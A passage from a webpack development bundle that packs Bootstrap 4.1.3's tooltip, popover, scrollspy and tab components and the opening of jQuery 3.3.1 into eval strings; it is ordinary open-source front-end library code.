_proto._getDelegateConfig = function _getDelegateConfig() {\n var config = {};\n\n if (this.config) {\n for (var key in this.config) {\n if (this.constructor.Default[key] !== this.config[key]) {\n config[key] = this.config[key];\n }\n }\n }\n\n return config;\n };\n\n _proto._cleanTipClass = function _cleanTipClass() {\n var $tip = $$$1(this.getTipElement());\n var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);\n\n if (tabClass !== null && tabClass.length) {\n $tip.removeClass(tabClass.join(''));\n }\n };\n\n _proto._handlePopperPlacementChange = function _handlePopperPlacementChange(popperData) {\n var popperInstance = popperData.instance;\n this.tip = popperInstance.popper;\n\n this._cleanTipClass();\n\n this.addAttachmentClass(this._getAttachment(popperData.placement));\n };\n\n _proto._fixTransition = function _fixTransition() {\n var tip = this.getTipElement();\n var initConfigAnimation = this.config.animation;\n\n if (tip.getAttribute('x-placement') !== null) {\n return;\n }\n\n $$$1(tip).removeClass(ClassName.FADE);\n this.config.animation = false;\n this.hide();\n this.show();\n this.config.animation = initConfigAnimation;\n }; // Static\n\n\n Tooltip._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var data = $$$1(this).data(DATA_KEY);\n\n var _config = typeof config === 'object' && config;\n\n if (!data && /dispose|hide/.test(config)) {\n return;\n }\n\n if (!data) {\n data = new Tooltip(this, _config);\n $$$1(this).data(DATA_KEY, data);\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(\"No method named \\\"\" + config + \"\\\"\");\n }\n\n data[config]();\n }\n });\n };\n\n _createClass(Tooltip, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }, {\n key: \"Default\",\n get: function get() {\n return Default;\n }\n }, {\n key: \"NAME\",\n get: function get() {\n return NAME;\n }\n }, {\n key: \"DATA_KEY\",\n get: function get() {\n return DATA_KEY;\n }\n }, {\n key: \"Event\",\n get: function get() {\n return Event;\n }\n }, {\n key: \"EVENT_KEY\",\n get: function get() {\n return EVENT_KEY;\n }\n }, {\n key: \"DefaultType\",\n get: function get() {\n return DefaultType;\n }\n }]);\n\n return Tooltip;\n }();\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n\n $$$1.fn[NAME] = Tooltip._jQueryInterface;\n $$$1.fn[NAME].Constructor = Tooltip;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Tooltip._jQueryInterface;\n };\n\n return Tooltip;\n }($, Popper);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Popover = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'popover';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.popover';\n var EVENT_KEY = \".\" + DATA_KEY;\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var CLASS_PREFIX = 'bs-popover';\n var BSCLS_PREFIX_REGEX = new RegExp(\"(^|\\\\s)\" + CLASS_PREFIX + \"\\\\S+\", 'g');\n\n var Default = _objectSpread({}, Tooltip.Default, {\n placement: 'right',\n trigger: 'click',\n content: '',\n template: '<div class=\"popover\" role=\"tooltip\">' + '<div class=\"arrow\"></div>' + '<h3 class=\"popover-header\"></h3>' + '<div class=\"popover-body\"></div></div>'\n });\n\n var DefaultType = _objectSpread({}, Tooltip.DefaultType, {\n content: '(string|element|function)'\n });\n\n var ClassName = {\n FADE: 'fade',\n SHOW: 'show'\n };\n var Selector = {\n TITLE: '.popover-header',\n CONTENT: '.popover-body'\n };\n var Event = {\n HIDE: \"hide\" + EVENT_KEY,\n HIDDEN: \"hidden\" + EVENT_KEY,\n SHOW: \"show\" + EVENT_KEY,\n SHOWN: \"shown\" + EVENT_KEY,\n INSERTED: \"inserted\" + EVENT_KEY,\n CLICK: \"click\" + EVENT_KEY,\n FOCUSIN: \"focusin\" + EVENT_KEY,\n FOCUSOUT: \"focusout\" + EVENT_KEY,\n MOUSEENTER: \"mouseenter\" + EVENT_KEY,\n MOUSELEAVE: \"mouseleave\" + EVENT_KEY\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Popover =\n /*#__PURE__*/\n function (_Tooltip) {\n _inheritsLoose(Popover, _Tooltip);\n\n function Popover() {\n return _Tooltip.apply(this, arguments) || this;\n }\n\n var _proto = Popover.prototype;\n\n // Overrides\n _proto.isWithContent = function isWithContent() {\n return this.getTitle() || this._getContent();\n };\n\n _proto.addAttachmentClass = function addAttachmentClass(attachment) {\n $$$1(this.getTipElement()).addClass(CLASS_PREFIX + \"-\" + attachment);\n };\n\n _proto.getTipElement = function getTipElement() {\n this.tip = this.tip || $$$1(this.config.template)[0];\n return this.tip;\n };\n\n _proto.setContent = function setContent() {\n var $tip = $$$1(this.getTipElement()); // We use append for html objects to maintain js events\n\n this.setElementContent($tip.find(Selector.TITLE), this.getTitle());\n\n var content = this._getContent();\n\n if (typeof content === 'function') {\n content = content.call(this.element);\n }\n\n this.setElementContent($tip.find(Selector.CONTENT), content);\n $tip.removeClass(ClassName.FADE + \" \" + ClassName.SHOW);\n }; // Private\n\n\n _proto._getContent = function _getContent() {\n return this.element.getAttribute('data-content') || this.config.content;\n };\n\n _proto._cleanTipClass = function _cleanTipClass() {\n var $tip = $$$1(this.getTipElement());\n var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);\n\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''));\n }\n }; // Static\n\n\n Popover._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var data = $$$1(this).data(DATA_KEY);\n\n var _config = typeof config === 'object' ? config : null;\n\n if (!data && /destroy|hide/.test(config)) {\n return;\n }\n\n if (!data) {\n data = new Popover(this, _config);\n $$$1(this).data(DATA_KEY, data);\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(\"No method named \\\"\" + config + \"\\\"\");\n }\n\n data[config]();\n }\n });\n };\n\n _createClass(Popover, null, [{\n key: \"VERSION\",\n // Getters\n get: function get() {\n return VERSION;\n }\n }, {\n key: \"Default\",\n get: function get() {\n return Default;\n }\n }, {\n key: \"NAME\",\n get: function get() {\n return NAME;\n }\n }, {\n key: \"DATA_KEY\",\n get: function get() {\n return DATA_KEY;\n }\n }, {\n key: \"Event\",\n get: function get() {\n return Event;\n }\n }, {\n key: \"EVENT_KEY\",\n get: function get() {\n return EVENT_KEY;\n }\n }, {\n key: \"DefaultType\",\n get: function get() {\n return DefaultType;\n }\n }]);\n\n return Popover;\n }(Tooltip);\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n\n $$$1.fn[NAME] = Popover._jQueryInterface;\n $$$1.fn[NAME].Constructor = Popover;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Popover._jQueryInterface;\n };\n\n return Popover;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var ScrollSpy = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'scrollspy';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.scrollspy';\n var EVENT_KEY = \".\" + DATA_KEY;\n var DATA_API_KEY = '.data-api';\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var Default = {\n offset: 10,\n method: 'auto',\n target: ''\n };\n var DefaultType = {\n offset: 'number',\n method: 'string',\n target: '(string|element)'\n };\n var Event = {\n ACTIVATE: \"activate\" + EVENT_KEY,\n SCROLL: \"scroll\" + EVENT_KEY,\n LOAD_DATA_API: \"load\" + EVENT_KEY + DATA_API_KEY\n };\n var ClassName = {\n DROPDOWN_ITEM: 'dropdown-item',\n DROPDOWN_MENU: 'dropdown-menu',\n ACTIVE: 'active'\n };\n var Selector = {\n DATA_SPY: '[data-spy=\"scroll\"]',\n ACTIVE: '.active',\n NAV_LIST_GROUP: '.nav, .list-group',\n NAV_LINKS: '.nav-link',\n NAV_ITEMS: '.nav-item',\n LIST_ITEMS: '.list-group-item',\n DROPDOWN: '.dropdown',\n DROPDOWN_ITEMS: '.dropdown-item',\n DROPDOWN_TOGGLE: '.dropdown-toggle'\n };\n var OffsetMethod = {\n OFFSET: 'offset',\n POSITION: 'position'\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var ScrollSpy =\n /*#__PURE__*/\n function () {\n function ScrollSpy(element, config) {\n var _this = this;\n\n this._element = element;\n this._scrollElement = element.tagName === 'BODY' ? window : element;\n this._config = this._getConfig(config);\n this._selector = this._config.target + \" \" + Selector.NAV_LINKS + \",\" + (this._config.target + \" \" + Selector.LIST_ITEMS + \",\") + (this._config.target + \" \" + Selector.DROPDOWN_ITEMS);\n this._offsets = [];\n this._targets = [];\n this._activeTarget = null;\n this._scrollHeight = 0;\n $$$1(this._scrollElement).on(Event.SCROLL, function (event) {\n return _this._process(event);\n });\n this.refresh();\n\n this._process();\n } // Getters\n\n\n var _proto = ScrollSpy.prototype;\n\n // Public\n _proto.refresh = function refresh() {\n var _this2 = this;\n\n var autoMethod = this._scrollElement === this._scrollElement.window ? OffsetMethod.OFFSET : OffsetMethod.POSITION;\n var offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method;\n var offsetBase = offsetMethod === OffsetMethod.POSITION ? this._getScrollTop() : 0;\n this._offsets = [];\n this._targets = [];\n this._scrollHeight = this._getScrollHeight();\n var targets = [].slice.call(document.querySelectorAll(this._selector));\n targets.map(function (element) {\n var target;\n var targetSelector = Util.getSelectorFromElement(element);\n\n if (targetSelector) {\n target = document.querySelector(targetSelector);\n }\n\n if (target) {\n var targetBCR = target.getBoundingClientRect();\n\n if (targetBCR.width || targetBCR.height) {\n // TODO (fat): remove sketch reliance on jQuery position/offset\n return [$$$1(target)[offsetMethod]().top + offsetBase, targetSelector];\n }\n }\n\n return null;\n }).filter(function (item) {\n return item;\n }).sort(function (a, b) {\n return a[0] - b[0];\n }).forEach(function (item) {\n _this2._offsets.push(item[0]);\n\n _this2._targets.push(item[1]);\n });\n };\n\n _proto.dispose = function dispose() {\n $$$1.removeData(this._element, DATA_KEY);\n $$$1(this._scrollElement).off(EVENT_KEY);\n this._element = null;\n this._scrollElement = null;\n this._config = null;\n this._selector = null;\n this._offsets = null;\n this._targets = null;\n this._activeTarget = null;\n this._scrollHeight = null;\n }; // Private\n\n\n _proto._getConfig = function _getConfig(config) {\n config = _objectSpread({}, Default, typeof config === 'object' && config ? config : {});\n\n if (typeof config.target !== 'string') {\n var id = $$$1(config.target).attr('id');\n\n if (!id) {\n id = Util.getUID(NAME);\n $$$1(config.target).attr('id', id);\n }\n\n config.target = \"#\" + id;\n }\n\n Util.typeCheckConfig(NAME, config, DefaultType);\n return config;\n };\n\n _proto._getScrollTop = function _getScrollTop() {\n return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop;\n };\n\n _proto._getScrollHeight = function _getScrollHeight() {\n return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight);\n };\n\n _proto._getOffsetHeight = function _getOffsetHeight() {\n return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height;\n };\n\n _proto._process = function _process() {\n var scrollTop = this._getScrollTop() + this._config.offset;\n\n var scrollHeight = this._getScrollHeight();\n\n var maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight();\n\n if (this._scrollHeight !== scrollHeight) {\n this.refresh();\n }\n\n if (scrollTop >= maxScroll) {\n var target = this._targets[this._targets.length - 1];\n\n if (this._activeTarget !== target) {\n this._activate(target);\n }\n\n return;\n }\n\n if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n this._activeTarget = null;\n\n this._clear();\n\n return;\n }\n\n var offsetLength = this._offsets.length;\n\n for (var i = offsetLength; i--;) {\n var isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1]);\n\n if (isActiveTarget) {\n this._activate(this._targets[i]);\n }\n }\n };\n\n _proto._activate = function _activate(target) {\n this._activeTarget = target;\n\n this._clear();\n\n var queries = this._selector.split(','); // eslint-disable-next-line arrow-body-style\n\n\n queries = queries.map(function (selector) {\n return selector + \"[data-target=\\\"\" + target + \"\\\"],\" + (selector + \"[href=\\\"\" + target + \"\\\"]\");\n });\n var $link = $$$1([].slice.call(document.querySelectorAll(queries.join(','))));\n\n if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE);\n $link.addClass(ClassName.ACTIVE);\n } else {\n // Set triggered link as active\n $link.addClass(ClassName.ACTIVE); // Set triggered links parents as active\n // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n\n $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_LINKS + \", \" + Selector.LIST_ITEMS).addClass(ClassName.ACTIVE); // Handle special case when .nav-link is inside .nav-item\n\n $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE);\n }\n\n $$$1(this._scrollElement).trigger(Event.ACTIVATE, {\n relatedTarget: target\n });\n };\n\n _proto._clear = function _clear() {\n var nodes = [].slice.call(document.querySelectorAll(this._selector));\n $$$1(nodes).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE);\n }; // Static\n\n\n ScrollSpy._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var data = $$$1(this).data(DATA_KEY);\n\n var _config = typeof config === 'object' && config;\n\n if (!data) {\n data = new ScrollSpy(this, _config);\n $$$1(this).data(DATA_KEY, data);\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(\"No method named \\\"\" + config + \"\\\"\");\n }\n\n data[config]();\n }\n });\n };\n\n _createClass(ScrollSpy, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }, {\n key: \"Default\",\n get: function get() {\n return Default;\n }\n }]);\n\n return ScrollSpy;\n }();\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n\n $$$1(window).on(Event.LOAD_DATA_API, function () {\n var scrollSpys = [].slice.call(document.querySelectorAll(Selector.DATA_SPY));\n var scrollSpysLength = scrollSpys.length;\n\n for (var i = scrollSpysLength; i--;) {\n var $spy = $$$1(scrollSpys[i]);\n\n ScrollSpy._jQueryInterface.call($spy, $spy.data());\n }\n });\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $$$1.fn[NAME] = ScrollSpy._jQueryInterface;\n $$$1.fn[NAME].Constructor = ScrollSpy;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return ScrollSpy._jQueryInterface;\n };\n\n return ScrollSpy;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Tab = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'tab';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.tab';\n var EVENT_KEY = \".\" + DATA_KEY;\n var DATA_API_KEY = '.data-api';\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var Event = {\n HIDE: \"hide\" + EVENT_KEY,\n HIDDEN: \"hidden\" + EVENT_KEY,\n SHOW: \"show\" + EVENT_KEY,\n SHOWN: \"shown\" + EVENT_KEY,\n CLICK_DATA_API: \"click\" + EVENT_KEY + DATA_API_KEY\n };\n var ClassName = {\n DROPDOWN_MENU: 'dropdown-menu',\n ACTIVE: 'active',\n DISABLED: 'disabled',\n FADE: 'fade',\n SHOW: 'show'\n };\n var Selector = {\n DROPDOWN: '.dropdown',\n NAV_LIST_GROUP: '.nav, .list-group',\n ACTIVE: '.active',\n ACTIVE_UL: '> li > .active',\n DATA_TOGGLE: '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n DROPDOWN_TOGGLE: '.dropdown-toggle',\n DROPDOWN_ACTIVE_CHILD: '> .dropdown-menu .active'\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Tab =\n /*#__PURE__*/\n function () {\n function Tab(element) {\n this._element = element;\n } // Getters\n\n\n var _proto = Tab.prototype;\n\n // Public\n _proto.show = function show() {\n var _this = this;\n\n if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && $$$1(this._element).hasClass(ClassName.ACTIVE) || $$$1(this._element).hasClass(ClassName.DISABLED)) {\n return;\n }\n\n var target;\n var previous;\n var listElement = $$$1(this._element).closest(Selector.NAV_LIST_GROUP)[0];\n var selector = Util.getSelectorFromElement(this._element);\n\n if (listElement) {\n var itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE;\n previous = $$$1.makeArray($$$1(listElement).find(itemSelector));\n previous = previous[previous.length - 1];\n }\n\n var hideEvent = $$$1.Event(Event.HIDE, {\n relatedTarget: this._element\n });\n var showEvent = $$$1.Event(Event.SHOW, {\n relatedTarget: previous\n });\n\n if (previous) {\n $$$1(previous).trigger(hideEvent);\n }\n\n $$$1(this._element).trigger(showEvent);\n\n if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) {\n return;\n }\n\n if (selector) {\n target = document.querySelector(selector);\n }\n\n this._activate(this._element, listElement);\n\n var complete = function complete() {\n var hiddenEvent = $$$1.Event(Event.HIDDEN, {\n relatedTarget: _this._element\n });\n var shownEvent = $$$1.Event(Event.SHOWN, {\n relatedTarget: previous\n });\n $$$1(previous).trigger(hiddenEvent);\n $$$1(_this._element).trigger(shownEvent);\n };\n\n if (target) {\n this._activate(target, target.parentNode, complete);\n } else {\n complete();\n }\n };\n\n _proto.dispose = function dispose() {\n $$$1.removeData(this._element, DATA_KEY);\n this._element = null;\n }; // Private\n\n\n _proto._activate = function _activate(element, container, callback) {\n var _this2 = this;\n\n var activeElements;\n\n if (container.nodeName === 'UL') {\n activeElements = $$$1(container).find(Selector.ACTIVE_UL);\n } else {\n activeElements = $$$1(container).children(Selector.ACTIVE);\n }\n\n var active = activeElements[0];\n var isTransitioning = callback && active && $$$1(active).hasClass(ClassName.FADE);\n\n var complete = function complete() {\n return _this2._transitionComplete(element, active, callback);\n };\n\n if (active && isTransitioning) {\n var transitionDuration = Util.getTransitionDurationFromElement(active);\n $$$1(active).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);\n } else {\n complete();\n }\n };\n\n _proto._transitionComplete = function _transitionComplete(element, active, callback) {\n if (active) {\n $$$1(active).removeClass(ClassName.SHOW + \" \" + ClassName.ACTIVE);\n var dropdownChild = $$$1(active.parentNode).find(Selector.DROPDOWN_ACTIVE_CHILD)[0];\n\n if (dropdownChild) {\n $$$1(dropdownChild).removeClass(ClassName.ACTIVE);\n }\n\n if (active.getAttribute('role') === 'tab') {\n active.setAttribute('aria-selected', false);\n }\n }\n\n $$$1(element).addClass(ClassName.ACTIVE);\n\n if (element.getAttribute('role') === 'tab') {\n element.setAttribute('aria-selected', true);\n }\n\n Util.reflow(element);\n $$$1(element).addClass(ClassName.SHOW);\n\n if (element.parentNode && $$$1(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n var dropdownElement = $$$1(element).closest(Selector.DROPDOWN)[0];\n\n if (dropdownElement) {\n var dropdownToggleList = [].slice.call(dropdownElement.querySelectorAll(Selector.DROPDOWN_TOGGLE));\n $$$1(dropdownToggleList).addClass(ClassName.ACTIVE);\n }\n\n element.setAttribute('aria-expanded', true);\n }\n\n if (callback) {\n callback();\n }\n }; // Static\n\n\n Tab._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var $this = $$$1(this);\n var data = $this.data(DATA_KEY);\n\n if (!data) {\n data = new Tab(this);\n $this.data(DATA_KEY, data);\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(\"No method named \\\"\" + config + \"\\\"\");\n }\n\n data[config]();\n }\n });\n };\n\n _createClass(Tab, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }]);\n\n return Tab;\n }();\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n\n $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault();\n\n Tab._jQueryInterface.call($$$1(this), 'show');\n });\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $$$1.fn[NAME] = Tab._jQueryInterface;\n $$$1.fn[NAME].Constructor = Tab;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Tab._jQueryInterface;\n };\n\n return Tab;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n (function ($$$1) {\n if (typeof $$$1 === 'undefined') {\n throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.');\n }\n\n var version = $$$1.fn.jquery.split(' ')[0].split('.');\n var minMajor = 1;\n var ltMajor = 2;\n var minMinor = 9;\n var minPatch = 1;\n var maxMajor = 4;\n\n if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {\n throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0');\n }\n })($);\n\n exports.Util = Util;\n exports.Alert = Alert;\n exports.Button = Button;\n exports.Carousel = Carousel;\n exports.Collapse = Collapse;\n exports.Dropdown = Dropdown;\n exports.Modal = Modal;\n exports.Popover = Popover;\n exports.Scrollspy = ScrollSpy;\n exports.Tab = Tab;\n exports.Tooltip = Tooltip;\n\n Object.defineProperty(exports, '__esModule', { value: true });\n\n})));\n//# sourceMappingURL=bootstrap.js.map\n\n\n//# sourceURL=webpack:///./node_modules/bootstrap/dist/js/bootstrap.js?");
/***/ }),
/***/ "./node_modules/jquery/dist/jquery.js":
/*!********************************************!*\
!*** ./node_modules/jquery/dist/jquery.js ***!
\********************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
eval("var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!\n * jQuery JavaScript Library v3.3.1\n * https://jquery.com/\n *\n * Includes Sizzle.js\n * https://sizzlejs.com/\n *\n * Copyright JS Foundation and other contributors\n * Released under the MIT license\n * https://jquery.org/license\n *\n * Date: 2018-01-20T17:24Z\n */\n( function( global, factory ) {\n\n\t\"use strict\";\n\n\tif ( typeof module === \"object\" && typeof module.exports === \"object\" ) {\n\n\t\t// For CommonJS and CommonJS-like environments where a proper `window`\n\t\t// is present, execute the factory and get jQuery.\n\t\t// For environments that do not have a `window` with a `document`\n\t\t// (such as Node.js), expose a factory as module.exports.\n\t\t// This accentuates the need for the creation of a real `window`.\n\t\t// e.g. var jQuery = require(\"jquery\")(window);\n\t\t// See ticket #14549 for more info.\n\t\tmodule.exports = global.document ?\n\t\t\tfactory( global, true ) :\n\t\t\tfunction( w ) {\n\t\t\t\tif ( !w.document ) {\n\t\t\t\t\tthrow new Error( \"jQuery requires a window with a document\" );\n\t\t\t\t}\n\t\t\t\treturn factory( w );\n\t\t\t};\n\t} else {\n\t\tfactory( global );\n\t}\n\n// Pass this if window is not defined yet\n} )( typeof window !== \"undefined\" ? window : this, function( window, noGlobal ) {\n\n// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1\n// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode\n// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common\n// enough that all such attempts are guarded in a try block.\n\"use strict\";\n\nvar arr = [];\n\nvar document = window.document;\n\nvar getProto = Object.getPrototypeOf;\n\nvar slice = arr.slice;\n\nvar concat = arr.concat;\n\nvar push = arr.push;\n\nvar indexOf = arr.indexOf;\n\nvar class2type = {};\n\nvar toString = class2type.toString;\n\nvar hasOwn = class2type.hasOwnProperty;\n\nvar fnToString = hasOwn.toString;\n\nvar ObjectFunctionString = fnToString.call( Object );\n\nvar support = {};\n\nvar isFunction = function isFunction( obj ) {\n\n // Support: Chrome <=57, Firefox <=52\n // In some browsers, typeof returns \"function\" for HTML <object> elements\n // (i.e., `typeof document.createElement( \"object\" ) === \"function\"`).\n // We don't want to classify *any* DOM node as a function.\n return typeof obj === \"function\" && typeof obj.nodeType !== \"number\";\n };\n\n\nvar isWindow = function isWindow( obj ) {\n\t\treturn obj != null && obj === obj.window;\n\t};\n\n\n\n\n\tvar preservedScriptAttributes = {\n\t\ttype: true,\n\t\tsrc: true,\n\t\tnoModule: true\n\t};\n\n\tfunction DOMEval( code, doc, node ) {\n\t\tdoc = doc || document;\n\n\t\tvar i,\n\t\t\tscript = doc.createElement( \"script\" );\n\n\t\tscript.text = code;\n\t\tif ( node ) {\n\t\t\tfor ( i in preservedScriptAttributes ) {\n\t\t\t\tif ( node[ i ] ) {\n\t\t\t\t\tscript[ i ] = node[ i ];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdoc.head.appendChild( script ).parentNode.removeChild( script );\n\t}\n\n\nfunction toType( obj ) {\n\tif ( obj == null ) {\n\t\treturn obj + \"\";\n\t}\n\n\t// Support: Android <=2.3 only (functionish RegExp)\n\treturn typeof obj === \"object\" || typeof obj === \"function\" ?\n\t\tclass2type[ toString.call( obj ) ] || \"object\" :\n\t\ttypeof obj;\n}\n/* global Symbol */\n// Defining this global in .eslintrc.json would create a danger of using the global\n// unguarded in another place, it seems safer to define global only for this module\n\n\n\nvar\n\tversion = \"3.3.1\",\n\n\t// Define a local copy of jQuery\n\tjQuery = function( selector, context ) {\n\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\t// Need init if jQuery is called (just allow error to be thrown if not included)\n\t\treturn new jQuery.fn.init( selector, context );\n\t},\n\n\t// Support: Android <=4.0 only\n\t// Make sure we trim BOM and NBSP\n\trtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;\n\njQuery.fn = jQuery.prototype = {\n\n\t// The current version of jQuery being used\n\tjquery: version,\n\n\tconstructor: jQuery,\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\ttoArray: function() {\n\t\treturn slice.call( this );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\n\t\t// Return all the elements in a clean array\n\t\tif ( num == null ) {\n\t\t\treturn slice.call( this );\n\t\t}\n\n\t\t// Return just the one element from the set\n\t\treturn num < 0 ? this[ num + this.length ] : this[ num ];\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems ) {\n\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = jQuery.merge( this.constructor(), elems );\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\teach: function( callback ) {\n\t\treturn jQuery.each( this, callback );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map( this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t} ) );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ) );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\teq: function( i ) {\n\t\tvar len = this.length,\n\t\t\tj = +i + ( i < 0 ? len : 0 );\n\t\treturn this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || this.constructor();\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: arr.sort,\n\tsplice: arr.splice\n};\n\njQuery.extend = jQuery.fn.extend = function() {\n\tvar options, name, src, copy, copyIsArray, clone,\n\t\ttarget = arguments[ 0 ] || {},\n\t\ti = 1,\n\t\tlength = arguments.length,\n\t\tdeep = false;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\n\t\t// Skip the boolean and the target\n\t\ttarget = arguments[ i ] || {};\n\t\ti++;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !isFunction( target ) ) {\n\t\ttarget = {};\n\t}\n\n\t// Extend jQuery itself if only one argument is passed\n\tif ( i === length ) {\n\t\ttarget = 